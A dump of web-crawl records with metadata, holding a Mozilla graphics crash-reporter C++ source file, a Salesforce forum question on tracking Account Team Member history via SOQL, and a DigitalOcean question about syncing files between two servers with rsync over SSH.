"rps_doc_frac_chars_dupe_10grams": 0.0276497695595026,
"rps_doc_frac_chars_dupe_5grams": 0.0552995391190052,
"rps_doc_frac_chars_dupe_6grams": 0.0276497695595026,
"rps_doc_frac_chars_dupe_7grams": 0.0276497695595026,
"rps_doc_frac_chars_dupe_8grams": 0.0276497695595026,
"rps_doc_frac_chars_dupe_9grams": 0.0276497695595026,
"rps_doc_frac_chars_top_2gram": 0.010240660049021244,
"rps_doc_frac_chars_top_3gram": 0.009984640404582024,
"rps_doc_frac_chars_top_4gram": 0.014848950318992138,
"rps_doc_books_importance": -552.9291381835938,
"rps_doc_books_importance_length_correction": -552.9291381835938,
"rps_doc_openwebtext_importance": -304.4749450683594,
"rps_doc_openwebtext_importance_length_correction": -304.4749450683594,
"rps_doc_wikipedia_importance": -215.81275939941406,
"rps_doc_wikipedia_importance_length_correction": -215.81275939941406
},
"fasttext": {
"dclm": 0.2991017699241638,
"english": 0.8898787498474121,
"fineweb_edu_approx": 1.641155481338501,
"eai_general_math": 0.5215445160865784,
"eai_open_web_math": 0.29632002115249634,
"eai_web_code": 0.6208484768867493
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "794.8",
"labels": {
"level_1": "Arts",
"level_2": "Amusements and Recreation",
"level_3": ""
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "4",
"label": "Missing Images or Figures"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
6,569,585,971,607,373,000 | gfx/src/gfxCrashReporterUtils.cpp
author Birunthan Mohanathas <[email protected]>
Mon, 13 Jul 2015 08:25:42 -0700
changeset 252629 91d6e262b662a0b4e47358665e222d3927337af9
parent 239364 f97fc9fef527d6e737aecd12be567ae387e9de6f
child 258784 40fb201fa58b354d8c0a4b566b59e6f55f7eba8c
permissions -rw-r--r--
Bug 1182996 - Fix and add missing namespace comments. rs=ehsan The bulk of this commit was generated by running: run-clang-tidy.py \ -checks='-*,llvm-namespace-comment' \ -header-filter=^/.../mozilla-central/.* \ -fix
/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
/* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
#include "gfxCrashReporterUtils.h"
#if defined(MOZ_CRASHREPORTER)
#define MOZ_GFXFEATUREREPORTER 1
#endif
#ifdef MOZ_GFXFEATUREREPORTER
#include "gfxCrashReporterUtils.h"
#include <string.h> // for strcmp
#include "mozilla/Assertions.h" // for MOZ_ASSERT_HELPER2
#include "mozilla/Services.h" // for GetObserverService
#include "mozilla/StaticMutex.h"
#include "mozilla/mozalloc.h" // for operator new, etc
#include "nsAutoPtr.h" // for nsRefPtr
#include "nsCOMPtr.h" // for nsCOMPtr
#include "nsError.h" // for NS_OK, NS_FAILED, nsresult
#include "nsExceptionHandler.h" // for AppendAppNotesToCrashReport
#include "nsID.h"
#include "nsIEventTarget.h" // for NS_DISPATCH_NORMAL
#include "nsIObserver.h" // for nsIObserver, etc
#include "nsIObserverService.h" // for nsIObserverService
#include "nsIRunnable.h" // for nsIRunnable
#include "nsISupports.h"
#include "nsString.h" // for nsAutoCString, nsCString, etc
#include "nsTArray.h" // for nsTArray
#include "nsThreadUtils.h" // for NS_DispatchToMainThread, etc
#include "nscore.h" // for NS_IMETHOD, NS_IMETHODIMP, etc
namespace mozilla {
static nsTArray<nsCString> *gFeaturesAlreadyReported = nullptr;
static StaticMutex gFeaturesAlreadyReportedMutex;
class ObserverToDestroyFeaturesAlreadyReported final : public nsIObserver
{
public:
NS_DECL_ISUPPORTS
NS_DECL_NSIOBSERVER
ObserverToDestroyFeaturesAlreadyReported() {}
private:
virtual ~ObserverToDestroyFeaturesAlreadyReported() {}
};
NS_IMPL_ISUPPORTS(ObserverToDestroyFeaturesAlreadyReported,
nsIObserver)
NS_IMETHODIMP
ObserverToDestroyFeaturesAlreadyReported::Observe(nsISupports* aSubject,
const char* aTopic,
const char16_t* aData)
{
if (!strcmp(aTopic, "xpcom-shutdown")) {
StaticMutexAutoLock al(gFeaturesAlreadyReportedMutex);
if (gFeaturesAlreadyReported) {
delete gFeaturesAlreadyReported;
gFeaturesAlreadyReported = nullptr;
}
}
return NS_OK;
}
class RegisterObserverRunnable : public nsRunnable {
public:
NS_IMETHOD Run() override {
// LeakLog made me do this. Basically, I just wanted gFeaturesAlreadyReported to be a static nsTArray<nsCString>,
// and LeakLog was complaining about leaks like this:
// leaked 1 instance of nsTArray_base with size 8 bytes
// leaked 7 instances of nsStringBuffer with size 8 bytes each (56 bytes total)
// So this is a work-around using a pointer, and using a nsIObserver to deallocate on xpcom shutdown.
// Yay for fighting bloat.
nsCOMPtr<nsIObserverService> observerService = mozilla::services::GetObserverService();
if (!observerService)
return NS_OK;
nsRefPtr<ObserverToDestroyFeaturesAlreadyReported> observer = new ObserverToDestroyFeaturesAlreadyReported;
observerService->AddObserver(observer, "xpcom-shutdown", false);
return NS_OK;
}
};
void
ScopedGfxFeatureReporter::WriteAppNote(char statusChar)
{
StaticMutexAutoLock al(gFeaturesAlreadyReportedMutex);
if (!gFeaturesAlreadyReported) {
gFeaturesAlreadyReported = new nsTArray<nsCString>;
nsCOMPtr<nsIRunnable> r = new RegisterObserverRunnable();
NS_DispatchToMainThread(r);
}
nsAutoCString featureString;
featureString.AppendPrintf("%s%c ",
mFeature,
mStatusChar);
if (!gFeaturesAlreadyReported->Contains(featureString)) {
gFeaturesAlreadyReported->AppendElement(featureString);
CrashReporter::AppendAppNotesToCrashReport(featureString);
}
}
} // end namespace mozilla
#else
namespace mozilla {
void ScopedGfxFeatureReporter::WriteAppNote(char) {}
} // namespace mozilla
#endif | {
"url": "https://hg.mozilla.org/mozilla-central/file/91d6e262b662a0b4e47358665e222d3927337af9/gfx/src/gfxCrashReporterUtils.cpp",
"source_domain": "hg.mozilla.org",
"snapshot_id": "crawl=CC-MAIN-2019-47",
"warc_metadata": {
"Content-Length": "23252",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:GTIOSWYZB5EUBGQHGQL45UCBLCRHUBZQ",
"WARC-Concurrent-To": "<urn:uuid:e745b5cd-27cc-4841-863b-e02d7eecf6d6>",
"WARC-Date": "2019-11-15T15:18:33Z",
"WARC-IP-Address": "63.245.208.203",
"WARC-Identified-Payload-Type": "application/xhtml+xml",
"WARC-Payload-Digest": "sha1:3V4AUPNWMKVAHYK4BFDQAZG6IKNEOFRJ",
"WARC-Record-ID": "<urn:uuid:96c1b79e-4b0b-4c13-8b3e-91387e7326fc>",
"WARC-Target-URI": "https://hg.mozilla.org/mozilla-central/file/91d6e262b662a0b4e47358665e222d3927337af9/gfx/src/gfxCrashReporterUtils.cpp",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:26508a75-cf39-40ff-9c5c-60fb770b5a07>"
},
"warc_info": "isPartOf: CC-MAIN-2019-47\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for November 2019\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-222.ec2.internal\r\nsoftware: Apache Nutch 1.16 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
34,
89,
121,
179,
234,
288,
311,
529,
530,
610,
681,
752,
815,
816,
851,
852,
883,
916,
923,
924,
954,
989,
1043,
1109,
1175,
1208,
1273,
1329,
1385,
1459,
1534,
1552,
1618,
1682,
1748,
1807,
1832,
1905,
1961,
2037,
2115,
2116,
2136,
2137,
2201,
2251,
2252,
2326,
2328,
2329,
2337,
2357,
2379,
2380,
2428,
2437,
2494,
2497,
2498,
2558,
2589,
2590,
2604,
2677,
2747,
2820,
2822,
2865,
2924,
2960,
2999,
3041,
3047,
3051,
3067,
3069,
3070,
3123,
3131,
3161,
3279,
3337,
3400,
3487,
3593,
3624,
3716,
3742,
3762,
3874,
3943,
3961,
3965,
3968,
3969,
3974,
4030,
4032,
4089,
4090,
4125,
4181,
4243,
4275,
4279,
4280,
4311,
4349,
4388,
4431,
4432,
4492,
4552,
4615,
4619,
4621,
4622,
4649,
4650,
4656,
4657,
4677,
4730,
4753,
4754
],
"line_end_idx": [
34,
89,
121,
179,
234,
288,
311,
529,
530,
610,
681,
752,
815,
816,
851,
852,
883,
916,
923,
924,
954,
989,
1043,
1109,
1175,
1208,
1273,
1329,
1385,
1459,
1534,
1552,
1618,
1682,
1748,
1807,
1832,
1905,
1961,
2037,
2115,
2116,
2136,
2137,
2201,
2251,
2252,
2326,
2328,
2329,
2337,
2357,
2379,
2380,
2428,
2437,
2494,
2497,
2498,
2558,
2589,
2590,
2604,
2677,
2747,
2820,
2822,
2865,
2924,
2960,
2999,
3041,
3047,
3051,
3067,
3069,
3070,
3123,
3131,
3161,
3279,
3337,
3400,
3487,
3593,
3624,
3716,
3742,
3762,
3874,
3943,
3961,
3965,
3968,
3969,
3974,
4030,
4032,
4089,
4090,
4125,
4181,
4243,
4275,
4279,
4280,
4311,
4349,
4388,
4431,
4432,
4492,
4552,
4615,
4619,
4621,
4622,
4649,
4650,
4656,
4657,
4677,
4730,
4753,
4754,
4760
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 4760,
"ccnet_original_nlines": 125,
"rps_doc_curly_bracket": 0.005882349796593189,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.1449086219072342,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.027415139600634575,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.4582245349884033,
"rps_doc_frac_unique_words": 0.6178160905838013,
"rps_doc_mean_word_length": 9.600574493408203,
"rps_doc_num_sentences": 42,
"rps_doc_symbol_to_word_ratio": 0.0365535207092762,
"rps_doc_unigram_entropy": 5.027127742767334,
"rps_doc_word_count": 348,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.011972459964454174,
"rps_doc_frac_chars_top_3gram": 0.031128399074077606,
"rps_doc_frac_chars_top_4gram": 0.04549536108970642,
"rps_doc_books_importance": -332.5774841308594,
"rps_doc_books_importance_length_correction": -332.5774841308594,
"rps_doc_openwebtext_importance": -187.50807189941406,
"rps_doc_openwebtext_importance_length_correction": -187.50807189941406,
"rps_doc_wikipedia_importance": -150.35589599609375,
"rps_doc_wikipedia_importance_length_correction": -150.35589599609375
},
"fasttext": {
"dclm": 0.24598318338394165,
"english": 0.3761095404624939,
"fineweb_edu_approx": 1.405102252960205,
"eai_general_math": 0.9814285039901733,
"eai_open_web_math": 0.3902823328971863,
"eai_web_code": 0.13908344507217407
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.02",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "0",
"label": "No missing content"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "3",
"label": "Academic Writing"
}
},
"reasoning_depth": {
"primary": {
"code": "4",
"label": "Advanced Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "4",
"label": "Graduate/Expert Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
-5,147,081,682,626,919,000 | 1
Since there are way too few options to do literally anything with Account Team Members, we want to use the following approach to track Account Team Member history:
• Have a custom object AccountTeamMemberTracking__c that is a sort of snapshot of all Account Team Member entries
• Have a custom object AccountTeamHistory__c that is supposed to store changes to Account Team Members
• Use a scheduled Apex class to daily compare the Account Team Members against the AccountTeamMemberTracking__c to find changes, additions and deletions and add that as entries to the AccountTeamHistory__c
I was thinking:
• If I look for Account Team Member records with created date today, I will obviously find insertions of new records that I need to add to the history and to the AccountTeamMemberTracking__c.
• If I look for Account Team Member records with change date today, I will obviously find those that changed. To compare them to AccountTeamMemberTracking__c, I need a good query for this
• If I look for AccountTeamMemberTracking__c records, for which there are no Account Team Member records, I detect a deletion of an Account Team Member. For that I need a good query.
I thought I could simply store the Account Team Member Id on the AccountTeamMemberTracking__c object as a unique case sensitive string, but it appears that the SOQL "IN" only works on IDs for Semi-Joins.
So what I was thinking now is that I could use a combination of UserId and AccountId to find matching records because a user can only appear once on an Account as a Team Member or in other words: The combination UserId & AccountId is unique for all AccountTeamMembers. The problem is, the following query will not give me the expected result:
return [ SELECT Id,
UserId,
TeamMemberRole,
AccountId,
LastModifiedById,
LastModifiedDate
FROM AccountTeamMember
WHERE UserId IN (SELECT UserId__c FROM AccountTeamMemberTracking__c)
AND AccountId IN (SELECT AccountId__c FROM AccountTeamMemberTracking__c)
AND LastModifiedDate >= :system.today()];
The issue here is, that the AND between the UserId IN join and the AccountId behaves more like an OR. It will find me AccountTeamMemberTracking__c records for which an AccountID and also a UserId exists on AccountTeamMember, but not necessarily on the same record. I did a simple test of that and proved my assumption. If you want, I can past that code here too.
Is there any way I can solve this? I know it is doable in SQL. A colleague of mine proved that. But SQL doesn't help me much in Salesforce. Any help is much appreciated...
1
I don't think that you can do this directly with SOQL.
If you were querying a normal object, you could create a formula field which is a compound of the two things you want to match on, then query on that i.e.
UserId_And_AccountId__c is a text formula on defined as CASESAFEID(UserId) + CASESAFEID(AccountId). Then a similar formula on AccountTeamMemberTracking__c.
If you could do that, then you could query as:
return [ SELECT Id,
UserId,
TeamMemberRole,
AccountId,
LastModifiedById,
LastModifiedDate
FROM AccountTeamMember
WHERE UserId IN (SELECT UserId__c FROM AccountTeamMemberTracking__c)
AND AccountId IN (SELECT AccountId__c FROM AccountTeamMemberTracking__c)
AND UserId_And_AccountId__c IN (SELECT UserId_And_AccountId__c FROM AccountTeamMemberTracking__c)
AND LastModifiedDate >= :system.today()];
(I kept the original fields in the query too, because they are indexed. If you have lots of records, just using the custom field would be too slow).
But, you can't add fields to AccountTeamMember. So, you will have to run the query as you have it, then use Apex to filter it down to just the results you actually wanted.
1
• Hi @Aidan, thanks for your insights. It is really sad Salesforce doesn't let us do this. I will mark your answer as best, because it is the answer to my problem. One thing though: AND UserId_And_AccountId__c IN (SELECT UserId_And_AccountId__c FROM AccountTeamMemberTracking__c) This wouldn't work either, because you can only use the IN when you are dealing with actual fields of type ID. A formula field despite combining two IDs will not work as it will be treated as text. – Roger Wicki Oct 31 '18 at 13:53
Your Answer
By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy
Not the answer you're looking for? Browse other questions tagged or ask your own question. | {
"url": "https://salesforce.stackexchange.com/questions/236527/complex-soql-i-need-help-with-a-dual-join",
"source_domain": "salesforce.stackexchange.com",
"snapshot_id": "crawl=CC-MAIN-2021-21",
"warc_metadata": {
"Content-Length": "167340",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:XE2B6XIZD56LBE4K7IRQBPPUEOOTR6B6",
"WARC-Concurrent-To": "<urn:uuid:307786ce-edd5-4309-896c-163ecda07baa>",
"WARC-Date": "2021-05-09T22:41:11Z",
"WARC-IP-Address": "151.101.193.69",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:RDM3S23NACV3O4YJK7R6XOEDPVRQSKH7",
"WARC-Record-ID": "<urn:uuid:2d2d59bd-913c-4bb0-a4d9-93b0130c735c>",
"WARC-Target-URI": "https://salesforce.stackexchange.com/questions/236527/complex-soql-i-need-help-with-a-dual-join",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:80faa095-3c97-43f7-9dba-03967139ba99>"
},
"warc_info": "isPartOf: CC-MAIN-2021-21\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-50.ec2.internal\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
2,
3,
167,
168,
284,
389,
597,
598,
614,
615,
809,
999,
1184,
1185,
1389,
1390,
1733,
1734,
1758,
1786,
1822,
1853,
1891,
1928,
1966,
2049,
2142,
2204,
2205,
2568,
2569,
2741,
2742,
2744,
2745,
2800,
2801,
2956,
2957,
3113,
3114,
3161,
3162,
3186,
3214,
3250,
3281,
3319,
3356,
3394,
3477,
3570,
3688,
3750,
3751,
3900,
3901,
4073,
4074,
4076,
4590,
4591,
4603,
4604,
4704,
4705
],
"line_end_idx": [
2,
3,
167,
168,
284,
389,
597,
598,
614,
615,
809,
999,
1184,
1185,
1389,
1390,
1733,
1734,
1758,
1786,
1822,
1853,
1891,
1928,
1966,
2049,
2142,
2204,
2205,
2568,
2569,
2741,
2742,
2744,
2745,
2800,
2801,
2956,
2957,
3113,
3114,
3161,
3162,
3186,
3214,
3250,
3281,
3319,
3356,
3394,
3477,
3570,
3688,
3750,
3751,
3900,
3901,
4073,
4074,
4076,
4590,
4591,
4603,
4604,
4704,
4705,
4795
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 4795,
"ccnet_original_nlines": 66,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3978234529495239,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.07859733700752258,
"rps_doc_frac_lines_end_with_ellipsis": 0.014925369992852211,
"rps_doc_frac_no_alph_words": 0.15477630496025085,
"rps_doc_frac_unique_words": 0.36519259214401245,
"rps_doc_mean_word_length": 4.998573303222656,
"rps_doc_num_sentences": 33,
"rps_doc_symbol_to_word_ratio": 0.0012091899989172816,
"rps_doc_unigram_entropy": 5.012054443359375,
"rps_doc_word_count": 701,
"rps_doc_frac_chars_dupe_10grams": 0.1449771672487259,
"rps_doc_frac_chars_dupe_5grams": 0.24286529421806335,
"rps_doc_frac_chars_dupe_6grams": 0.2046232968568802,
"rps_doc_frac_chars_dupe_7grams": 0.18921233713626862,
"rps_doc_frac_chars_dupe_8grams": 0.1449771672487259,
"rps_doc_frac_chars_dupe_9grams": 0.1449771672487259,
"rps_doc_frac_chars_top_2gram": 0.03139268979430199,
"rps_doc_frac_chars_top_3gram": 0.03396119177341461,
"rps_doc_frac_chars_top_4gram": 0.006849320139735937,
"rps_doc_books_importance": -352.1618957519531,
"rps_doc_books_importance_length_correction": -352.1618957519531,
"rps_doc_openwebtext_importance": -198.62872314453125,
"rps_doc_openwebtext_importance_length_correction": -198.62872314453125,
"rps_doc_wikipedia_importance": -91.52864837646484,
"rps_doc_wikipedia_importance_length_correction": -91.52864837646484
},
"fasttext": {
"dclm": 0.02732216939330101,
"english": 0.9196429252624512,
"fineweb_edu_approx": 1.082973837852478,
"eai_general_math": 0.05809152126312256,
"eai_open_web_math": 0.1419406533241272,
"eai_web_code": 0.017096340656280518
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.445",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
-1,112,469,513,793,162,900 | Question
SSH connect two droplets and can I access files in python script?
Posted April 20, 2017 3.1k views
DebianPythonNetworking
1)
I posted my question about SSH networking here:
https://www.digitalocean.com/community/tutorials/how-to-copy-files-with-rsync-over-ssh?comment=58880
I will repeat it:
I have access from my pc to both of my droplets with ssh and putty. At my pc I have the public and the private (.ppk) ssh keys. This works fine.
Now I want both droplets to rsync in private network. I assueme I can still use the public and private keys I also use on pc in putty.
But where do I put public and private key, so the first droplet knows that he can use this ssh keys to connect to droplet2 ?
2) After transferring files with SSH is possible, if want a python 3 script that is running at one of them, to be able to read txt files from the other droplet.
Does anyone has a clue how to do that?
1 comment
These answers are provided by our Community. If you find them useful, show some love by clicking the heart. If you run into issues leave a comment, or add your own answer to help others.
×
Submit an Answer
1 answer
@scholastik
The purpose of rysnc would be to ensure that the specified files and directories on Droplet A are in sync with Droplet B and vice versa. If that’s the case, you should be able to simply read the file on the server that you’re running the Python script on without having to go over the network to do it.
As a very basic example, if we have a file called demo.txt and it exists on Droplet A, and you’re using rsync to duplicate that file over to Droplet B, then you should be able to read that file on either using a Python script without having to go over the network.
Any changes you make on either Droplet A or Droplet B could then be synced using rysnc.
If you need to connect over SSH from your Python script, I’d take a look at the following. There are a few demo scripts that you can use to get things setup.
https://github.com/paramiko/paramiko
• Thank you very much for the reply :)
Since I have access to both droplets, I could also manually update all files at both droplets.
But I would like to automatie this, since on both droplets a python script is running, that is printing some output in a txt file.
And the other droplet should be aware of the latest output, so the python script should be able to read files from the other droplet.
I guess the best way would be to automatce rsync without python? Is this possible?
Eg. every 30 seconds a txt file I choose is rsnyced ? That would solve the problem I think.
But I also would need an answer to question number 1.
Edit:
I think I can follow this guide:
http://www.techrepublic.com/article/how-to-set-up-auto-rsync-backups-using-ssh/
I’m not sure if two ssh are possible? A password secured ssh to the puplic connection and a passwordless ssh from private to private?
I would like to request some feedback, if this guide is the solution, or not :) | {
"url": "https://www.digitalocean.com/community/questions/ssh-connect-two-droplets-and-can-i-access-files-in-python-script",
"source_domain": "www.digitalocean.com",
"snapshot_id": "crawl=CC-MAIN-2021-31",
"warc_metadata": {
"Content-Length": "97542",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:IT6R3O3R63AIWJ5ECZ25YQAPPZI3QLPQ",
"WARC-Concurrent-To": "<urn:uuid:7a18e4e3-a470-4fe0-9780-d23380559bb1>",
"WARC-Date": "2021-08-03T08:40:48Z",
"WARC-IP-Address": "104.16.182.15",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:QMEWGAQHLDUOA3YTBEIM3BQMYP2WHO3K",
"WARC-Record-ID": "<urn:uuid:dc335af4-bc0c-41c3-8bf1-58de6927d87a>",
"WARC-Target-URI": "https://www.digitalocean.com/community/questions/ssh-connect-two-droplets-and-can-i-access-files-in-python-script",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:ce06639d-8bbf-4fda-9bd8-82f8a410af42>"
},
"warc_info": "isPartOf: CC-MAIN-2021-31\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for July/August 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-148.ec2.internal\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
9,
10,
76,
77,
110,
133,
134,
137,
185,
286,
287,
305,
450,
451,
586,
711,
712,
873,
912,
913,
923,
924,
1111,
1112,
1114,
1131,
1140,
1141,
1153,
1154,
1457,
1458,
1723,
1724,
1812,
1813,
1971,
1972,
2009,
2010,
2051,
2052,
2151,
2286,
2424,
2425,
2512,
2608,
2609,
2667,
2668,
2678,
2715,
2799,
2800,
2938,
2939
],
"line_end_idx": [
9,
10,
76,
77,
110,
133,
134,
137,
185,
286,
287,
305,
450,
451,
586,
711,
712,
873,
912,
913,
923,
924,
1111,
1112,
1114,
1131,
1140,
1141,
1153,
1154,
1457,
1458,
1723,
1724,
1812,
1813,
1971,
1972,
2009,
2010,
2051,
2052,
2151,
2286,
2424,
2425,
2512,
2608,
2609,
2667,
2668,
2678,
2715,
2799,
2800,
2938,
2939,
3022
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 3022,
"ccnet_original_nlines": 57,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.4467765986919403,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.04947526007890701,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.16491754353046417,
"rps_doc_frac_unique_words": 0.4030131697654724,
"rps_doc_mean_word_length": 4.367231845855713,
"rps_doc_num_sentences": 39,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.878274917602539,
"rps_doc_word_count": 531,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.07158257812261581,
"rps_doc_frac_chars_dupe_6grams": 0.026735659688711166,
"rps_doc_frac_chars_dupe_7grams": 0.026735659688711166,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.031047869473695755,
"rps_doc_frac_chars_top_3gram": 0.013799049891531467,
"rps_doc_frac_chars_top_4gram": 0.015523930080235004,
"rps_doc_books_importance": -280.5558776855469,
"rps_doc_books_importance_length_correction": -280.5558776855469,
"rps_doc_openwebtext_importance": -128.27374267578125,
"rps_doc_openwebtext_importance_length_correction": -128.27374267578125,
"rps_doc_wikipedia_importance": -88.2347640991211,
"rps_doc_wikipedia_importance_length_correction": -88.2347640991211
},
"fasttext": {
"dclm": 0.08560293912887573,
"english": 0.9380008578300476,
"fineweb_edu_approx": 1.515408992767334,
"eai_general_math": 0.9710868000984192,
"eai_open_web_math": 0.2484722137451172,
"eai_web_code": 0.768937885761261
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
